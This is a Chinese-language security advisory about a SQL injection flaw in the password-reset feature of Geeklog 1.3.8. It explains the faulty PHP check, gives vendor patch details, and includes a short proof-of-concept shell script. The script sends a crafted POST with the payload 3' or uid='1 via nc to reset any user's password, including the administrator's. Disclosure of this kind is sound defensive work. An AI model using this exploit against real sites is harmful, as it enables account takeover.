首页 -> 安全研究

安全研究

安全漏洞
Geeklog口令忘记处理功能SQL注入漏洞

发布日期:2003-10-19
更新日期:2003-10-24

受影响系统:
Geeklog geeklog 1.3.8rc2
Geeklog geeklog 1.3.8rc1
Geeklog geeklog 1.3.8-1sr1
Geeklog geeklog 1.3.8-1
Geeklog geeklog 1.3.8
描述:
BUGTRAQ  ID: 8849

Geeklog是一个免费的、开放源码的Web应用程序。它可以使用户创建一个虚拟的社区,可以管理用户,张贴文章等。Geeklog采用PHP实现,以MySQL为后台数据库。

Geeklog的"forgot password"功能对用户提交输入缺少充分过滤,远程攻击者可以利用这个漏洞更改任意用户密码,控制应用系统。

问题存在于users.php脚本中:

  if (!empty($uid) && is_numeric($uid) && !empty($reqid)) {
     $valid = DB_count($_TABLES['users'], arrary('uid', 'pwrequestid'),
                       array($uid, $reqid));
     if ($valid==1) {
          // generate an md5 hash for the new password and change it
     } else {
          // invalid request, display error message
     }
  }

数据库模块层隐藏了实际的SQL查询,但是实际上面代码产生如下SQL(如$uid=2和$reqid=3):

SELECT COUNT(*) FROM gl_users WHERE uid = '2' AND pwrequestid = '3'

密码只在count返回时才更改,不过这个查询只对$reqid进行查询,并且这个变量可以包含任何值,因此提交类似"3' or uid='1"的数据可更改原来的SQL逻辑。利用这个问题可更改任意用户的密码,包括管理员。

<*来源:Jouko Pynnonen (jouko@solutions.fi
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106666846514072&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Jouko Pynnonen (jouko@solutions.fi)提供了如下测试方法:

------------->8------------->8------------->8------------->8--------------
#!/bin/sh

echo "POST /path/to/gl/users.php HTTP/1.0
Content-length: 50
Content-type: application/x-www-form-urlencoded

mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1&
" | nc localhost 80

------------->8------------->8------------->8------------->8--------------

建议:
厂商补丁:

Geeklog
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Geeklog Upgrade Geeklog 1.3.8-1sr2
http://www.geeklog.net/filemgmt/singlefile.php?lid=254

浏览次数:2765
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障